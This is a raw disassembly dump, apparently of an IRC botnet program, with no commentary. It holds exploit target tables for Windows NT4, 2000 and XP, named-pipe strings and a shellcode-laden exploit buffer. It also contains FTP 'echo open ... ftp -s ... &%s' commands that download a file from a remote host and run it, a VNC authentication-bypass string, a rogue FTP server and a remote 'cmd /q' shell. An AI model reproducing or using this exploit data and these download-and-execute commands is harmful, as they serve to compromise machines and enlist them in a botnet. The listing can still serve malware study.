loc_44A082+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_44A048: ; CODE XREF: .nsp0:0044A075j xor [esi-25h], bl loc_44A04B: ; CODE XREF: .nsp0:00449FF1j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_44A064: ; CODE XREF: .nsp0:0044A097j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_44A048 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_44A082: ; CODE XREF: .nsp0:0044A029j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_44A10E jo short loc_44A064 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_44A0A5+1 add bl, [edi] loc_44A0A5: ; CODE XREF: .nsp0:0044A0A1j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_44A0BA+2 cmp ch, bh dec edx loc_44A0BA: ; CODE XREF: .nsp0:0044A0B5j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_44A10E: ; CODE XREF: .nsp0:0044A095j mov ecx, 2C294495h mov edx, 0E92F4930h jg short near ptr aWindowsXpSp0Sp+14h sub al, 0BCh jmp near ptr 5446A502h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_44A130 dd 0EFFFC481h, 44FFFFh, 44A164h ; DATA XREF: sub_40D46C+29Ao dword_44A13C dd 42Ah ; DATA XREF: sub_40D46C+24Dr dword_44A140 dd 3E8h ; DATA XREF: sub_40D46C+2BEr dword_44A144 dd 258h ; DATA XREF: sub_40D46C+290r byte_44A148 db 1 ; DATA XREF: sub_40D46C+1F9r ; sub_40D46C+2C7r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_44A160 dd 20804h ; DATA XREF: sub_40D370r ; sub_40D46C+2E5o ... aWindowsNt42000 db 'Windows NT4, 2000 (SP0-SP4)',0 aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .nsp0:0044A14Co align 4 a__9: ; DATA XREF: sub_40D46C+10o unicode 0, <.>,0 aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40D46C+33o align 4 aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D46C+84o align 4 dword_44A1BC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_40D46C+F5o dword_44A1D0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40D46C+151o ; --------------------------------------------------------------------------- loc_44A1E4: ; DATA XREF: sub_40D46C+221o jmp short near ptr dword_44A1E8 ; --------------------------------------------------------------------------- align 4 dword_44A1E8 dd 0 ; CODE XREF: .nsp0:loc_44A1E4j aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40D974+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_44A260 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40DBCD+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aCmdCEchoOpen_1 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DAB6+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 word_44B4E8 dw 1 ; DATA XREF: .nsp0:0040DD0Dr align 4 dword_44B4EC dd 20424652h, 64333025h, 3330252Eh, 0A64h ; DATA XREF: .nsp0:0040DD96o aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .nsp0:0040DEFCo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40E017+130o aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' ; DATA XREF: sub_40E203+23Eo db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40E4A5+1C9o align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_40E4A5+251o align 4 aUser_0 db 'USER',0 ; DATA XREF: sub_40E4A5+262o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40E4A5+277o align 4 aPass db 'PASS',0 ; DATA XREF: sub_40E4A5+287o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40E4A5+29Bo align 4 aSyst db 'SYST',0 ; DATA XREF: sub_40E4A5+2ABo align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40E4A5+2BFo align 4 aRest db 'REST',0 ; DATA XREF: sub_40E4A5+2CFo align 4 a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40E4A5+2E3o align 4 off_44B628 dd offset off_445750 ; DATA XREF: sub_40E4A5+2F3o a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40E4A5+307o align 4 aType db 'TYPE',0 ; DATA XREF: sub_40E4A5+317o align 4 aA_0: ; DATA XREF: sub_40E4A5+32Eo unicode 0, <A>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40E4A5+342o aType_0 db 'TYPE',0 ; DATA XREF: sub_40E4A5+352o align 4 aI: ; DATA XREF: sub_40E4A5+369o unicode 0, <I>,0 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40E4A5+37Do aPasv db 'PASV',0 ; DATA XREF: sub_40E4A5+38Do align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40E4A5+3A0o align 10h aList_0 db 'LIST',0 ; DATA XREF: sub_40E4A5+3DBo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40E4A5+3EEo align 10h aPort db 'PORT',0 ; DATA XREF: sub_40E4A5+41Co align 4 aS_19 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40E4A5+455o db ']',0 aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40E4A5+496o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40E4A5+4C9o a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40E4A5+4DAo align 4 aRetr db 'RETR',0 ; DATA XREF: sub_40E4A5+4EFo align 4 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40E4A5+507o align 4 aFtpTransferSta db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40E4A5+530o a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40E4A5+57Ao aFtpTransferCom db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40E4A5+58Co align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40E4A5+5DDo align 10h aQuit_1 db 'QUIT',0 ; DATA XREF: sub_40E4A5+5EAo align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40E4A5+5FEo aRb db 'rb',0 ; DATA XREF: sub_40EB56+24o align 4 aGet db 'GET ',0 ; DATA XREF: sub_40EBF0+26Fo align 10h asc_44B820: ; DATA XREF: sub_40EBF0+292o unicode 0, < >,0 asc_44B824: ; DATA XREF: sub_40EBF0+297o unicode 0, < >,0 aGet_0 db 'GET ',0 ; DATA XREF: sub_40EBF0+2A2o align 10h asc_44B830 db 0Dh,0Ah,0 ; DATA XREF: sub_40EBF0+2D5o align 4 unk_44B834 db 2Dh ; - ; DATA XREF: sub_40EBF0+3FEo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 aTextHtml db 'text/html',0 ; DATA XREF: sub_40F051+5Eo align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F051:loc_40F0B6o align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F051+83o align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F051+97o align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F051+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F051+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aS_20 db '\%s',0 ; DATA XREF: sub_40F1D3+2Fo aS_21 db '%s',0 ; DATA XREF: sub_40F1D3+3Ao align 4 aSS_2 db '%s%s',0 ; DATA XREF: sub_40F1D3+EAo align 10h asc_44BA80: ; DATA XREF: sub_40F1D3+FBo dw 0Ah unicode 0, <>,0 asc_44BA84: ; DATA XREF: sub_40F1D3+157o unicode 0, <*>,0 unk_44BA88 db 2Dh ; - ; DATA XREF: sub_40F1D3+20Bo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 unk_44BABC db 2Dh ; - ; DATA XREF: sub_40F1D3+28Fo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_30 db ' failed to start worker thread, error %d',0 align 4 asc_44BAF4: ; DATA XREF: sub_40F483+29o dw 0Ah unicode 0, <>,0 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F483+4Bo aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F483+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F483+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F483+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F483+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F483+147o aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F483+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 a__ db '..',0 ; DATA XREF: sub_40F483+232o align 4 a__1: ; DATA XREF: sub_40F483+24Do unicode 0, <.>,0 aPm_0 db 'PM',0 ; DATA XREF: sub_40F483+285o align 10h aAm db 'AM',0 ; DATA XREF: sub_40F483+290o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F483+2BAo aS_22 db '<%s>',0 ; DATA XREF: sub_40F483+2E4o align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F483+30Eo align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F483+330o db '<TD WIDTH="%d"><A HREF="',0 align 4 aSS_3 db '%s%s/',0 ; DATA XREF: sub_40F483+374o align 10h aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F483+3BBo align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F483:loc_40F845o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F483+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aS_23 db '<%s>',0 ; DATA XREF: sub_40F483+413o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F483+434o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F483+471o align 10h aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F483+486o db '<TD WIDTH="%d"><A HREF="',0 align 10h aSS_4 db '%s%s',0 ; DATA XREF: sub_40F483+4CAo align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F483+511o align 4 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F483:loc_40F99Bo align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F483+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F483+589o align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F483+618o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F483+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F483+64Eo align 4 aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40FBF0+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_44BFCC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40FD11+BBo aClientConnecti db '- client connection from %s:%d.',0 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_40FD11+113o dword_44C010 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40FD11+16Eo aServerFailed_0 db '- server failed, returned %d',0 align 4 unk_44C03C db 2Dh ; - ; DATA XREF: sub_40FEBC+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_44C084 db 2Dh ; - ; DATA XREF: sub_40FEBC+15Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_31 db 'Failed to start client thread, error: <%d>.',0 unk_44C0C0 db 2Dh ; - ; DATA XREF: sub_41004D+E1o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_44C104 db 2Dh ; - ; DATA XREF: sub_41004D+1AAo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_32 db 'Failed to start connection thread, error: <%d>.',0 unk_44C144 db 2Dh ; - ; DATA XREF: sub_4102D1+E1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4102D1+172o align 4 unk_44C184 db 2Dh ; - ; DATA XREF: sub_4102D1+1A2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 unk_44C1AC db 2Dh ; - ; DATA XREF: sub_4102D1+1C2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_44C1D8 db 2Dh ; - ; DATA XREF: sub_4102D1+1E9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_44C204 db 2Dh ; - ; DATA XREF: sub_4104D6:loc_41051Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 10h dword_44C230 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410530+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0 align 10h unk_44C2A0 db 2Dh ; - ; DATA XREF: sub_41055F+3Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_44C2CC db 2Dh ; - ; DATA XREF: sub_41055F+70o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0 align 10h unk_44C310 db 2Dh ; - ; DATA XREF: sub_41055F+106o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aReadyAndWaitin db '- Ready and waiting for incoming connections.',0 align 4 unk_44C34C db 2Dh ; - ; DATA XREF: sub_41055F+177o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 unk_44C390 db 2Dh ; - ; DATA XREF: sub_41055F+1FBo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_33 db '- Failed to start client thread, error: <%d>.',0 align 4 unk_44C3CC db 2Dh ; - ; DATA XREF: sub_41055F+219o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorServerFai db '- Error: server failed, returned: <%d>.',0 align 4 unk_44C404 db 2Dh ; - ; DATA XREF: sub_4107E7+59o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_44C44C db 2Dh ; - ; DATA XREF: sub_4107E7+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_44C494 db 2Dh ; - ; DATA XREF: sub_4107E7+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_44C4C8 db 2Dh ; - ; DATA XREF: sub_410938+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_44C508 db 2Dh ; - ; DATA XREF: sub_410938+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_2 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_44C548 db 2Dh ; - ; DATA XREF: sub_410938+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410A31+8Co align 4 unk_44C578 db 2Dh ; - ; DATA XREF: sub_410A31+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 10h unk_44C5B0 db 2Dh ; - ; DATA XREF: sub_410B0A+A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 dword_44C5EC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410CDF+A8o aServerStarte_5 db '- Server started on: %s:%d.',0 dword_44C614 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410CDF+114o aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dword_44C658 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410CDF+18Fo aFailedToSta_34 db '- Failed to start client thread, error: <%d>.',0 align 4 dword_44C694 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410CDF+1B2o aFailedToSta_35 db '- Failed to start server on Port %d.',0 align 4 dword_44C6C8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410EE4+F2o aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 dword_44C708 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410EE4+18Ao aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 dword_44C748 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_410EE4+1F9o 